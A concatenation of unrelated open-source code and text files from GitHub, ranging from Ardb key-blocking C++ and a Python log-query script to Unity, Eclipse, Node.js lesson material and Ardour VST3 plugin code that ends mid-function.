ctx.client->client->GetService().AsyncIO(ctx.client->client->GetID(), AsyncUnblockKeysCallback,
new ContexWithReply(&ctx, reply));
return 0;
}
if (NULL != reply)
{
Channel* ch = ctx.client->client;
ch->Write(*reply);
}
LockGuard<SpinMutexLock> guard(m_block_keys_lock, true);
if (ctx.bpop != NULL && !m_blocked_ctxs.empty())
{
BlockingState::BlockKeyTable::iterator it = ctx.GetBPop().keys.begin();
while (it != ctx.GetBPop().keys.end())
{
const KeyPrefix& prefix = it->first;
BlockedContextTable::iterator blocked_found = m_blocked_ctxs.find(prefix);
if (blocked_found != m_blocked_ctxs.end())
{
ContextSet& blocked_set = blocked_found->second;
blocked_set.erase(&ctx);
if (blocked_set.empty())
{
m_blocked_ctxs.erase(blocked_found);
}
}
it++;
}
ctx.ClearBPop();
}
ctx.client->client->UnblockRead();
return 0;
}
int Ardb::BlockForKeys(Context& ctx, const StringArray& keys, const AnyArray& vals, KeyType ktype, uint32 mstimeout)
{
if (ctx.keyslocked)
{
FATAL_LOG("Can not modify block dataset when key locked.");
}
if (mstimeout > 0)
{
ctx.GetBPop().timeout = (uint64) mstimeout * 1000 + get_current_epoch_micros();
}
ctx.GetBPop().block_keytype = ktype;
ctx.client->client->BlockRead();
LockGuard<SpinMutexLock> guard(m_block_keys_lock);
for (size_t i = 0; i < keys.size(); i++)
{
KeyPrefix prefix;
prefix.ns = ctx.ns;
prefix.key.SetString(keys[i], false);
if(vals.size() != keys.size())
{
ctx.GetBPop().keys.insert(BlockingState::BlockKeyTable::value_type(prefix, NULL));
}else
{
ctx.GetBPop().keys.insert(BlockingState::BlockKeyTable::value_type(prefix, vals[i]));
}
m_blocked_ctxs[prefix].insert(&ctx);
}
return 0;
}
int Ardb::SignalKeyAsReady(Context& ctx, const std::string& key)
{
if (ctx.keyslocked)
{
FATAL_LOG("Can not modify block dataset when key locked.");
}
LockGuard<SpinMutexLock> guard(m_block_keys_lock, !ctx.flags.block_keys_locked);
KeyPrefix prefix;
prefix.ns = ctx.ns;
prefix.key.SetString(key, false);
if (m_blocked_ctxs.find(prefix) == m_blocked_ctxs.end())
{
return -1;
}
if (NULL == m_ready_keys)
{
NEW(m_ready_keys, ReadyKeySet);
}
m_ready_keys->insert(prefix);
return 0;
}
int Ardb::WakeClientsBlockingOnKeys(Context& ctx)
{
if (NULL == m_ready_keys)
{
return 0;
}
ReadyKeySet ready_keys;
{
LockGuard<SpinMutexLock> guard(m_block_keys_lock);
if (NULL == m_ready_keys)
{
return 0;
}
if (m_ready_keys->empty())
{
return 0;
}
ready_keys = *m_ready_keys;
DELETE(m_ready_keys);
}
ReadyKeySet::iterator sit = ready_keys.begin();
while (sit != ready_keys.end())
{
const KeyPrefix& ready_key = *sit;
{
LockGuard<SpinMutexLock> block_guard(m_block_keys_lock);
ctx.flags.block_keys_locked = 1;
BlockedContextTable::iterator fit = m_blocked_ctxs.find(ready_key);
if (fit != m_blocked_ctxs.end())
{
ContextSet& wait_set = fit->second;
ContextSet::iterator cit = wait_set.begin();
while (cit != wait_set.end())
{
Context* unblock_client = *cit;
if (NULL != unblock_client->bpop)
{
int err = 0;
switch(unblock_client->bpop->block_keytype)
{
case KEY_LIST:
{
err = WakeClientsBlockingOnList(ctx, ready_key, *unblock_client);
break;
}
case KEY_ZSET:
{
err = WakeClientsBlockingOnZSet(ctx, ready_key, *unblock_client);
break;
}
case KEY_STREAM:
{
err = WakeClientsBlockingOnStream(ctx, ready_key, *unblock_client);
break;
}
default:
{
ERROR_LOG("Not support block on keytype:%u", unblock_client->bpop->block_keytype);
break;
}
}
if (0 == err)
{
cit = wait_set.erase(cit);
//ServeClientBlockedOnList(*unblock_client, ready_key, pop_value);
}
else
{
cit++;
}
}
}
}
}
sit++;
}
return 0;
}
OP_NAMESPACE_END
| {
"pile_set_name": "Github"
} |
import collections
import datetime as dt
import os
import requests
def get_base_terms_request(route_name):
return {
"facets": {
"terms": {
"facet_filter": {
"fquery": {
"query": {
"filtered": {
"filter": {
"bool": {
"must": [
{
"range": {
"@timestamp": {
"to": "now",
"from": "now-30d"
}
}
},
{
"terms": {
"tag": [
"api_request"
]
}
},
{
"terms": {
"msg_.route_name": [
route_name
]
}
}
]
}
}
}
}
}
},
}
},
"size": 0
}
def get_base_agg_request(route_name):
return {
"query": {
"filtered": {
"query": {
"bool": {
"should": [
{
"query_string": {
"query": "*",
"lowercase_expanded_terms": False
}
}
]
}
},
"filter": {
"bool": {
"must": [
{
"range": {
"@timestamp": {
"to": "now",
"from": "now-30d"
}
}
},
{
"terms": {
"tag": [
"api_request"
]
}
},
{
"terms": {
"msg_.route_name": [
route_name
]
}
}
]
}
}
}
},
"size": 0
}
def fetch_across_indexes(payload, search_type=None):
cookies = {
'auth-openid': os.environ["SEARCH_OPENID"],
}
headers = {
'Host': 'search.uberinternal.com',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0',
'Accept': 'application/json, text/plain, */*',
'Content-Type': 'application/json;charset=utf-8',
}
# With some fudge
start_day = dt.datetime.utcnow() - dt.timedelta(hours=1)
# API logs are indexed by day, make sure we get as many as we can
for i in xrange(30):
datestamp = (start_day - dt.timedelta(days=i)).strftime("%Y.%m.%d")
url = 'https://search.uberinternal.com/elasticsearch/api-sjc1-%s/_search' % datestamp
if search_type:
url += "?search_type=%s" % search_type
resp = requests.get(
url,
headers=headers,
cookies=cookies,
json=payload
)
# Guess we don't actually have 30 days worth of logs to look at?
if resp.status_code == 404:
if i == 0:
raise Exception("No indexes exist?")
break
resp.raise_for_status()
yield resp.json()
def request_recent_origins(route_name):
services_payload = get_base_terms_request(route_name)
services_payload["facets"]["terms"]["terms"] = {
"exclude": [],
"field": "msg_.req_headers.X-Uber-Source",
"order": "count",
"size": 100
}
counted = collections.Counter()
for resp in fetch_across_indexes(services_payload):
terms = resp["facets"]["terms"]["terms"]
counted.update(dict((x["term"], x["count"]) for x in terms))
return collections.OrderedDict(counted.most_common(100))
def requests_with_users(route_name):
token_auth_payload = get_base_agg_request(route_name)
token_auth_payload["aggs"] = {
"with_user": {
"filter": {
"exists": {
"field": "msg_.remote_user_uuid"
}
}
},
"without_user": {
"missing": {
"field": "msg_.remote_user_uuid"
}
}
}
counter = collections.Counter()
for resp in fetch_across_indexes(token_auth_payload, "count"):
for k, v in resp["aggregations"].items():
counter[k] += v["doc_count"]
return counter
def route_has_requests(route_name):
token_auth_payload = get_base_agg_request(route_name)
token_auth_payload["aggs"] = {
"with_user": {
"filter": {
"exists": {
"field": "msg_.remote_user_uuid"
}
}
},
"without_user": {
"missing": {
"field": "msg_.remote_user_uuid"
}
}
}
for resp in fetch_across_indexes(token_auth_payload, "count"):
for k, v in resp["aggregations"].items():
if v["doc_count"]:
return True
return False
| {
"pile_set_name": "Github"
} |
common:
target:
- lpc11u35_501
core:
- Cortex-M0
macros:
- INTERFACE_LPC11U35
- DAPLINK_HIC_ID=0x97969902 # DAPLINK_HIC_ID_LPC11U35
includes:
- source/hic_hal/nxp/lpc11u35
- source/hic_hal/nxp/lpc11u35
sources:
hic_hal:
- source/hic_hal/nxp/lpc11u35
- source/hic_hal/nxp/lpc11u35/armcc
- source/hic_hal/nxp/lpc11u35
tool_specific:
uvision:
misc:
ld_flags:
- --predefine="-I..\..\..\source\hic_hal\nxp\lpc11u35"
make_armcc:
misc:
ld_flags:
- --predefine="-Isource\hic_hal\nxp\lpc11u35"
| {
"pile_set_name": "Github"
} |
/*===================================================================================
*
* Copyright (c) Userware/OpenSilver.net
*
* This file is part of the OpenSilver Runtime (https://opensilver.net), which is
* licensed under the MIT license: https://opensource.org/licenses/MIT
*
* As stated in the MIT license, "the above copyright notice and this permission
* notice shall be included in all copies or substantial portions of the Software."
*
\*====================================================================================*/
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Markup;
#if MIGRATION
namespace System.Windows.Controls
#else
namespace Windows.UI.Xaml.Controls
#endif
{
/// <summary>
/// Defines the element tree that is applied as the control template for a control.
/// </summary>
[ContentProperty("ContentPropertyUsefulOnlyDuringTheCompilation")]
public sealed partial class ControlTemplate : FrameworkTemplate
{
/// <summary>
/// Initializes a new instance of the ControlTemplate class.
/// </summary>
public ControlTemplate() { }
/// <summary>
/// Gets or sets the type to which the ControlTemplate is applied.
/// </summary>
public Type TargetType { get; set; }
}
}
| {
"pile_set_name": "Github"
} |
import Slider from './Slider';
import Range from './Range';
import Handle from './Handle';
import createSliderWithTooltip from './createSliderWithTooltip';
Slider.Range = Range;
Slider.Handle = Handle;
Slider.createSliderWithTooltip = createSliderWithTooltip;
export default Slider;
export { Range, Handle, createSliderWithTooltip }; | {
"pile_set_name": "Github"
} |
import V3Serializer from './v3';
export default V3Serializer.extend({});
| {
"pile_set_name": "Github"
} |
/*
* \file aml_v2_burning.h
* \brief common interfaces for version burning
*
* \version 1.0.0
* \date 09/15/2013
* \author Sam.Wu <[email protected]>
*
* Copyright (c) 2013 Amlogic. All Rights Reserved.
*
*/
//is the uboot loaded from usb otg
int is_tpl_loaded_from_usb(void);
//is the uboot loaded from sdcard mmc 0
//note only sdmmc supported by romcode when external device boot
int is_tpl_loaded_from_ext_sdmmc(void);
//Check if uboot loaded from external sdmmc or usb otg
int aml_burn_check_uboot_loaded_for_burn(int flag);
int aml_burn_factory_producing(int flag, bd_t* bis);
//usb producing mode, if tpl loaded from usb pc tool and auto enter producing mode
int aml_try_factory_usb_burning(int flag, bd_t* bis);
//Auto enter sdcard burning if booted from sdcard and aml_sdc_burn.ini existed
int aml_try_factory_sdcard_burning(int flag, bd_t* bis);
| {
"pile_set_name": "Github"
} |
/**
* ***************************************************************************** Copyright (c) 2009
* CollabNet. All rights reserved. This program and the accompanying materials are made available
* under the terms of the Eclipse Public License v1.0 which accompanies this distribution, and is
* available at http://www.eclipse.org/legal/epl-v10.html
*
* <p>Contributors: CollabNet - initial API and implementation
* ****************************************************************************
*/
package com.collabnet.subversion.merge.actions;
import com.collabnet.subversion.merge.Activator;
import com.collabnet.subversion.merge.MergeOutput;
import com.collabnet.subversion.merge.Messages;
import com.collabnet.subversion.merge.UndoMergeOperation;
import com.collabnet.subversion.merge.views.MergeResultsView;
import com.collabnet.subversion.merge.wizards.DialogWizard;
import com.collabnet.subversion.merge.wizards.MergeWizardDialog;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import org.eclipse.core.resources.IResource;
import org.eclipse.jface.action.IAction;
import org.eclipse.jface.dialogs.MessageDialog;
import org.eclipse.jface.viewers.ISelection;
import org.eclipse.jface.viewers.IStructuredSelection;
import org.eclipse.swt.widgets.Display;
import org.eclipse.ui.actions.ActionDelegate;
import org.tigris.subversion.subclipse.ui.actions.RevertAction;
public class UndoMergeAction extends ActionDelegate {
private IStructuredSelection fSelection;
public void run(IAction action) {
DialogWizard dialogWizard = new DialogWizard(DialogWizard.UNDO_MERGE_WARNING);
MergeWizardDialog dialog =
new MergeWizardDialog(Display.getDefault().getActiveShell(), dialogWizard, true);
if (dialog.open() == MergeWizardDialog.CANCEL) return;
final ArrayList resources = new ArrayList();
ArrayList mergeOutputs = new ArrayList();
Iterator iter = fSelection.iterator();
while (iter.hasNext()) {
Object object = iter.next();
if (object instanceof MergeOutput) {
MergeOutput mergeOutput = (MergeOutput) object;
mergeOutputs.add(mergeOutput);
IResource resource = mergeOutput.getResource();
resources.add(resource);
}
}
final IResource[] resourceArray = new IResource[resources.size()];
resources.toArray(resourceArray);
UndoMergeOperation undoMergeOperation =
new UndoMergeOperation(MergeResultsView.getView(), resourceArray);
try {
undoMergeOperation.run();
} catch (Exception e) {
Activator.handleError(Messages.UndoMergeAction_error, e);
MessageDialog.openError(
Display.getCurrent().getActiveShell(), Messages.UndoMergeAction_title, e.getMessage());
return;
}
iter = mergeOutputs.iterator();
while (iter.hasNext()) {
MergeOutput mergeOutput = (MergeOutput) iter.next();
mergeOutput.delete();
}
MergeResultsView.getView().refresh();
dialogWizard = new DialogWizard(DialogWizard.UNDO_MERGE_COMPLETED);
dialog = new MergeWizardDialog(Display.getDefault().getActiveShell(), dialogWizard, true);
if (dialog.open() == MergeWizardDialog.CANCEL) return;
RevertAction revertAction = new RevertAction();
revertAction.setShowNothingToRevertMessage(false);
IStructuredSelection selection =
new IStructuredSelection() {
public Object getFirstElement() {
return resourceArray[0];
}
public Iterator iterator() {
return toList().iterator();
}
public int size() {
return resourceArray.length;
}
public Object[] toArray() {
return resourceArray;
}
public List toList() {
return resources;
}
public boolean isEmpty() {
return resources.isEmpty();
}
};
revertAction.selectionChanged(null, selection);
revertAction.run(null);
}
public void selectionChanged(IAction action, ISelection sel) {
if (sel instanceof IStructuredSelection) {
fSelection = (IStructuredSelection) sel;
}
}
}
| {
"pile_set_name": "Github"
} |
## Gumbo 0.10.1 (2015-04-30)
Same as 0.10.0, but with the version number bumped because the last version-number commit to v0.9.4 makes GitHub think that v0.9.4 is the latest version and so it's not highlighted on the webpage.
## Gumbo 0.10.0 (2015-04-30)
* Full support for `<template>` tag (kevinhendricks, nostrademons).
* Some fixes for `<rtc>`/`<rt>` handling (kevinhendricks, vmg).
* All html5lib-trunk tests pass now! (kevinhendricks, vmg, nostrademons)
* Support for fragment parsing (vmg)
* A couple additional example programs (kevinhendricks)
* Performance improvements totaling an estimated 30-40% total improvement (vmg, nostrademons).
## Gumbo 0.9.4 (2015-04-30)
* Additional Visual Studio fixes (lowjoel, nostrademons)
* Fixed some unused variable warnings.
* Fix for glibtoolize vs. libtoolize build errors on Mac.
* Fixed `CDATA` end tag handling.
## Gumbo 0.9.3 (2015-02-17)
* Bugfix for `Æ` entities (rgrove)
* Fix `CDATA` handling; `CDATA` sections now generate a `GUMBO_NODE_CDATA` node rather
than plain text.
* Fix `get_title example` to handle whitespace nodes (gsnedders)
* Visual Studio compilation fixes (fishioon)
* Take the namespace into account when determining whether a node matches a
certain tag (aroben)
* Replace the varargs tag functions with a tagset bytevector, for a 20-30%
speedup in overall parse time (kevinhendricks, vmg)
* Add MacOS X support to Travis CI, and fix the deployment/DLL issues this
uncovered (nostrademons, kevinhendricks, vmg)
## Gumbo 0.9.2 (2014-09-21)
* Performance improvements: Ragel-based char ref decoder and DFA-based UTF8
decoder, totaling speedups of up to 300%.
* Added benchmarking program and some sample data.
* Fixed a compiler error under Visual Studio.
* Fix an error in the ctypes bindings that could lead to memory corruption in
the Python bindings.
* Fix duplicate attributes when parsing `<isindex>` tags.
* Don't leave semicolons behind when consuming entity references (rgrove)
* Internally rename some functions in preparation for an amalgamation file
(jdeng)
* Add proper cflags for gyp builds (skabbes)
## Gumbo 0.9.1 (2014-08-07)
* First version listed on PyPi.
* Autotools files excluded from GitHub and generated via autogen.sh. (endgame)
* Numerous compiler warnings fixed. (bnoordhuis, craigbarnes)
* Google security audit passed.
* Gyp support (tfarina)
* Naming convention for structs changed to avoid C reserved words.
* Fix several integer and buffer overflows (Maxime2)
* Some Visual Studio compiler support (bugparty)
* Python3 compatibility for the ctypes bindings.
## Gumbo 0.9.0 (2013-08-13)
* Initial release open-sourced by Google.
| {
"pile_set_name": "Github"
} |
using UnityEngine;
namespace Cinemachine
{
/// <summary>
/// This is a CinemachineComponent in the Aim section of the component pipeline.
/// Its job is to aim the camera hard at the LookAt target.
/// </summary>
[DocumentationSorting(DocumentationSortingAttribute.Level.UserRef)]
[AddComponentMenu("")] // Don't display in add component menu
[SaveDuringPlay]
public class CinemachineHardLookAt : CinemachineComponentBase
{
/// <summary>True if component is enabled and has a LookAt defined</summary>
public override bool IsValid { get { return enabled && LookAtTarget != null; } }
/// <summary>Get the Cinemachine Pipeline stage that this component implements.
/// Always returns the Aim stage</summary>
public override CinemachineCore.Stage Stage { get { return CinemachineCore.Stage.Aim; } }
/// <summary>Applies the composer rules and orients the camera accordingly</summary>
/// <param name="curState">The current camera state</param>
/// <param name="deltaTime">Used for calculating damping. If less than
/// zero, then target will snap to the center of the dead zone.</param>
public override void MutateCameraState(ref CameraState curState, float deltaTime)
{
if (IsValid && curState.HasLookAt)
{
Vector3 dir = (curState.ReferenceLookAt - curState.CorrectedPosition);
if (dir.magnitude > Epsilon)
{
if (Vector3.Cross(dir.normalized, curState.ReferenceUp).magnitude < Epsilon)
curState.RawOrientation = Quaternion.FromToRotation(Vector3.forward, dir);
else
curState.RawOrientation = Quaternion.LookRotation(dir, curState.ReferenceUp);
}
}
}
}
}
| {
"pile_set_name": "Github"
} |
import generate from './generate'
const customs = {
torrent: ['add', 'act', 'info'],
history: ['append', 'remove', 'get'],
search: ['url', 'name', 'term'],
services: ['connect', 'act'],
vault: ['get', 'update', 'check', 'has'],
video: ['init', 'stop', 'subtitles', 'tracks', 'name'],
streaming: ['init', 'subs', 'stop'],
update: ['available', 'installable', 'install', 'progress'],
localLists: ['get', 'update', 'info'],
register: ['code', 'token', 'isAuthed', 'cta']
}
export default Object.keys(customs).reduce((acc, evt) => {
const events = customs[evt]
if (!acc[evt]) acc[evt] = {}
events.forEach((eventName) => {
const _key = [evt, eventName].join(':')
acc[evt][eventName] = generate(_key)
})
return acc
}, {})
| {
"pile_set_name": "Github"
} |
---
author: catalin
type: normal
category: best practice
tags:
- workout
links:
- >-
[www.mariocasciaro.me](http://www.mariocasciaro.me/the-strange-world-of-node-js-design-patterns){website}
- >-
[blog.risingstack.com](https://blog.risingstack.com/fundamental-node-js-design-patterns/){website}
- '[through](https://www.npmjs.com/package/through){documentation}'
---
# Middleware/pipeline design pattern
---
## Content
The **middleware** or **pipeline** concept is used everywhere in Node.js. They represent a series of processing units connected subsequently: **the output of one unit is the input for the next one**.
```javascript
function(/*input/output */, next) {
next(/* err and/or output */)
};
```
**Koa** framework does it like this:
```javascript
app.use = function(fn) {
this.middleware.push(fn);
return this;
};
```
This concept is usually implemented through `async.waterfall` or `async.auto`:
```javascript
async.waterfall([
function(callback) {
callback(...);
},
function(args, callback){
callback(...);
}
]};
```
Famous Node.js streams also use the concept of pipelining:
```javascript
fs.createReadStream("file.gz")
.pipe(zlib.createGunzip())
.pipe(through(function write(data) {
//handle data
this.queue(data);
})
//write to your file
.pipe(fs.createWritableStream("out.txt"));
```
---
## Practice
Describe the Middleware/pipeline design pattern:
the ??? of one unit is the ??? for the next one.
- output
- input
- error
- prototype
---
## Revision
Which design pattern can you observe in the following snippet which archives `raw.txt`?
```javascript
fs.createReadStream('raw.txt')
.pipe(zlib.createGzip())
.pipe(fs.createWriteStream('raw.gz'))
```
???
- middleware/pipeline
- factory
- process-nexttick
- builder
- singleton
- prototype
- waterfall
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.cloud.user.dao.UserRoleDao">
<delete id="deleteUserRole">
delete from sys_role_user
<where>
<if test="userId != null">
and userId = #{userId}
</if>
<if test="roleId != null">
and roleId = #{roleId}
</if>
</where>
</delete>
</mapper> | {
"pile_set_name": "Github"
} |
/*
CryptoJS v3.1.2
code.google.com/p/crypto-js
(c) 2009-2013 by Jeff Mott. All rights reserved.
code.google.com/p/crypto-js/wiki/License
*/
(function(){if("function"==typeof ArrayBuffer){var b=CryptoJS.lib.WordArray,e=b.init;(b.init=function(a){a instanceof ArrayBuffer&&(a=new Uint8Array(a));if(a instanceof Int8Array||a instanceof Uint8ClampedArray||a instanceof Int16Array||a instanceof Uint16Array||a instanceof Int32Array||a instanceof Uint32Array||a instanceof Float32Array||a instanceof Float64Array)a=new Uint8Array(a.buffer,a.byteOffset,a.byteLength);if(a instanceof Uint8Array){for(var b=a.byteLength,d=[],c=0;c<b;c++)d[c>>>2]|=a[c]<<
24-8*(c%4);e.call(this,d,b)}else e.apply(this,arguments)}).prototype=b}})();
| {
"pile_set_name": "Github"
} |
from regrippy import BasePlugin, PluginResult, mactime
class Plugin(BasePlugin):
"""Reads startup programs from various hives"""
__REGHIVE__ = ["NTUSER.DAT", "SOFTWARE"]
def run(self):
if self.hive_name == "NTUSER.DAT":
paths = [r"Software\Microsoft\Windows\CurrentVersion\Run", r"Software\Microsoft\Windows\CurrentVersion\RunOnce", r"Software\Microsoft\Windows NT\CurrentVersion\Windows\Run"]
else: # SOFTWARE
paths = [r"Microsoft\Windows\CurrentVersion\Run", r"Microsoft\Windows\CurrentVersion\RunOnce", r"Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"]
for path in paths:
key = self.open_key(path)
if not key:
continue
for v in key.values():
res = PluginResult(key=key, value=v)
yield res
def display_human(self, result):
print(result.value_name, "//", result.value_data)
def display_machine(self, result):
print(mactime(name=f"{result.value_name}\t{result.value_data}", mtime=result.mtime))
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2019-2020 Robin Gareus <[email protected]>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#include "pbd/gstdio_compat.h"
#include <glibmm.h>
#include "pbd/basename.h"
#include "pbd/compose.h"
#include "pbd/convert.h"
#include "pbd/error.h"
#include "pbd/failed_constructor.h"
#include "pbd/file_utils.h"
#include "pbd/tokenizer.h"
#ifdef PLATFORM_WINDOWS
#include <shlobj.h> // CSIDL_*
#include "pbd/windows_special_dirs.h"
#endif
#include "ardour/audio_buffer.h"
#include "ardour/audioengine.h"
#include "ardour/session.h"
#include "ardour/tempo.h"
#include "ardour/utils.h"
#include "ardour/vst3_module.h"
#include "ardour/vst3_plugin.h"
#include "pbd/i18n.h"
using namespace PBD;
using namespace ARDOUR;
using namespace Steinberg;
VST3Plugin::VST3Plugin (AudioEngine& engine, Session& session, VST3PI* plug)
: Plugin (engine, session)
, _plug (plug)
{
init ();
}
VST3Plugin::VST3Plugin (const VST3Plugin& other)
: Plugin (other)
{
boost::shared_ptr<VST3PluginInfo> nfo = boost::dynamic_pointer_cast<VST3PluginInfo> (other.get_info ());
_plug = new VST3PI (nfo->m, nfo->unique_id);
init ();
}
VST3Plugin::~VST3Plugin ()
{
delete _plug;
}
void
VST3Plugin::init ()
{
Vst::ProcessContext& context (_plug->context ());
context.sampleRate = _session.nominal_sample_rate ();
_plug->set_block_size (_session.get_block_size ());
_plug->OnResizeView.connect_same_thread (_connections, boost::bind (&VST3Plugin::forward_resize_view, this, _1, _2));
_plug->OnParameterChange.connect_same_thread (_connections, boost::bind (&VST3Plugin::parameter_change_handler, this, _1, _2, _3));
/* assume all I/O is connected by default */
for (int32_t i = 0; i < (int32_t)_plug->n_audio_inputs (); ++i) {
_connected_inputs.push_back (true);
}
for (int32_t i = 0; i < (int32_t)_plug->n_audio_outputs (); ++i) {
_connected_outputs.push_back (true);
}
/* pre-configure from GUI thread */
_plug->enable_io (_connected_inputs, _connected_outputs);
}
void
VST3Plugin::forward_resize_view (int w, int h) {
OnResizeView (w, h); /* EMIT SINAL */
}
void
VST3Plugin::parameter_change_handler (VST3PI::ParameterChange t, uint32_t param, float value)
{
switch (t) {
case VST3PI::BeginGesture:
Plugin::StartTouch (param);
break;
case VST3PI::EndGesture:
Plugin::EndTouch (param);
break;
case VST3PI::ValueChange:
/* emit ParameterChangedExternally, mark preset dirty */
Plugin::parameter_changed_externally (param, value);
break;
case VST3PI::InternalChange:
Plugin::state_changed ();
break;
}
}
/* ****************************************************************************
* Parameter API
*/
uint32_t
VST3Plugin::parameter_count () const
{
return _plug->parameter_count ();
}
float
VST3Plugin::default_value (uint32_t port)
{
assert (port < parameter_count ());
return _plug->default_value (port);
}
void
VST3Plugin::set_parameter (uint32_t port, float val, sampleoffset_t when)
{
_plug->set_parameter (port, val, when);
Plugin::set_parameter (port, val, when);
}
float
VST3Plugin::get_parameter (uint32_t port) const
{
return _plug->get_parameter (port);
}
int
VST3Plugin::get_parameter_descriptor (uint32_t port, ParameterDescriptor& desc) const
{
assert (port < parameter_count ());
_plug->get_parameter_descriptor (port, desc);
desc.update_steps ();
return 0;
}
uint32_t
VST3Plugin::nth_parameter (uint32_t port, bool& ok) const
{
if (port < parameter_count ()) {
ok = true;
return port;
}
ok = false;
return 0;
}
bool
VST3Plugin::parameter_is_input (uint32_t port) const
{
return !_plug->parameter_is_readonly (port);
}
bool
VST3Plugin::parameter_is_output (uint32_t port) const
{
return _plug->parameter_is_readonly (port);
}
uint32_t
VST3Plugin::designated_bypass_port ()
{
return _plug->designated_bypass_port ();
}
std::set<Evoral::Parameter>
VST3Plugin::automatable () const
{
std::set<Evoral::Parameter> automatables;
for (uint32_t i = 0; i < parameter_count (); ++i) {
if (parameter_is_input (i) && _plug->parameter_is_automatable (i)) {
automatables.insert (automatables.end (), Evoral::Parameter (PluginAutomation, 0, i));
}
}
return automatables;
}
std::string
VST3Plugin::describe_parameter (Evoral::Parameter param)
{
if (param.type () == PluginAutomation && param.id () < parameter_count ()) {
return _plug->parameter_label (param.id ());
}
return "??";
}
bool
VST3Plugin::print_parameter (uint32_t port, std::string& rv) const
{
rv = _plug->print_parameter (port);
return rv.size() > 0;
}
Plugin::IOPortDescription
VST3Plugin::describe_io_port (ARDOUR::DataType dt, bool input, uint32_t id) const
{
return _plug->describe_io_port (dt, input, id);
}
PluginOutputConfiguration
VST3Plugin::possible_output () const
{
return Plugin::possible_output (); // TODO
}
/* ****************************************************************************
* Plugin UI
*/
bool
VST3Plugin::has_editor () const
{
IPlugView* view = const_cast<VST3PI*>(_plug)->view ();
if (view){
#ifdef PLATFORM_WINDOWS
return kResultOk == view->isPlatformTypeSupported ("HWND");
#elif defined (__APPLE__)
return kResultOk == view->isPlatformTypeSupported ("NSView");
#else
return kResultOk == view->isPlatformTypeSupported ("X11EmbedWindowID");
#endif
}
return false;
}
Steinberg::IPlugView*
VST3Plugin::view ()
{
return _plug->view ();
}
void
VST3Plugin::close_view ()
{
_plug->close_view ();
}
#if SMTG_OS_LINUX
void
VST3Plugin::set_runloop (Steinberg::Linux::IRunLoop* run_loop)
{
return _plug->set_runloop (run_loop);
}
#endif
void
VST3Plugin::update_contoller_param ()
{
/* GUI Thread */
_plug->update_contoller_param ();
}
/* ****************************************************************************
* MIDI converters
*/
bool
VST3PI::evoral_to_vst3 (Vst::Event& e, Evoral::Event<samplepos_t> const& ev, int32_t bus)
{
const uint32_t size = ev.size ();
if (size == 0) {
return false;
}
const uint8_t* data = ev.buffer();
uint8_t status = data[0];
if (status >= 0x80 && status < 0xF0) {
status &= 0xf0;
}
if (size == 2 || size == 3) {
Vst::ParamID id = Vst::kNoParamId;
const uint8_t channel = data[0] & 0x0f;
const uint8_t data1 = data[1] & 0x7f;
const uint8_t data2 = size == 3 ? (data[2] & 0x7f) : 0;
switch (status) {
case MIDI_CMD_NOTE_OFF:
e.type = Vst::Event::kNoteOffEvent;
e.noteOff.channel = channel;
e.noteOff.noteId = -1;
e.noteOff.pitch = data1;
e.noteOff.velocity = data2 / 127.f;
e.noteOff.tuning = 0.f;
return true;
case MIDI_CMD_NOTE_ON:
e.type = Vst::Event::kNoteOnEvent;
e.noteOn.channel = channel;
e.noteOn.noteId = -1;
e.noteOn.pitch = data1;
e.noteOn.velocity = data2 / 127.f;
e.noteOn.length = 0;
e.noteOn.tuning = 0.f;
return true;
case MIDI_CMD_NOTE_PRESSURE:
e.type = Vst::Event::kPolyPressureEvent;
e.polyPressure.channel = channel;
e.polyPressure.pitch = data1;
e.polyPressure.pressure = data2 / 127.f;
e.polyPressure.noteId = -1;
return true;
case MIDI_CMD_CONTROL:
if (ev.is_live_midi ()/* live input -- no playback */) {
live_midi_cc (bus, channel, data1);
}
if (midi_controller (bus, channel, data1, id)) {
set_parameter_by_id (id, data2 / 127.f, ev.time ());
}
return false;
case MIDI_CMD_PGM_CHANGE:
assert (size == 2);
set_program (data2, ev.time ());
return false;
case MIDI_CMD_CHANNEL_PRESSURE:
assert (size == 2);
if (midi_controller (bus, channel, Vst::kAfterTouch, id)) {
set_parameter_by_id (id, data1 / 127.f, ev.time ());
}
return false;
case MIDI_CMD_BENDER:
if (midi_controller (bus, channel, Vst::kPitchBend, id)) {
uint32_t m14 = (data2 << 7) | data1;
set_parameter_by_id (id, m14 / 16383.f, ev.time ());
}
return false;
}
} else if (status == MIDI_CMD_COMMON_SYSEX) {
memset (&e, 0, sizeof(Vst::Event));
e.type = Vst::Event::kDataEvent;
e.data.type = Vst::DataEvent::kMidiSysEx;
e.data.bytes = ev.buffer (); // TODO copy ?!
e.data.size = ev.size();
return true;
}
return false;
}
#define vst_to_midi(x) (static_cast<uint8_t>((x) * 127.f) & 0x7f)
void
VST3PI::vst3_to_midi_buffers (BufferSet& bufs, ChanMapping const& out_map)
{
for (int32 i = 0; i < _output_events.getEventCount(); ++i) {
Vst::Event e;
if (_output_events.getEvent (i, e) == kResultFalse) {
continue;
}
bool valid = false;
uint32_t index = out_map.get (DataType::MIDI, e.busIndex, &valid);
if (!valid || bufs.count().n_midi() <= index) {
#ifndef NDEBUG
printf ("VST3PI::vst3_to_midi_buffers - Invalid MIDI Bus %d\n", e.busIndex);
#endif
continue;
}
MidiBuffer& mb = bufs.get_midi (index);
uint8_t data[3];
switch (e.type) {
case Vst::Event::kDataEvent:
/* sysex */
mb.push_back (e.sampleOffset, Evoral::MIDI_EVENT, e.data.size, (uint8_t const*)e.data.bytes);
break;
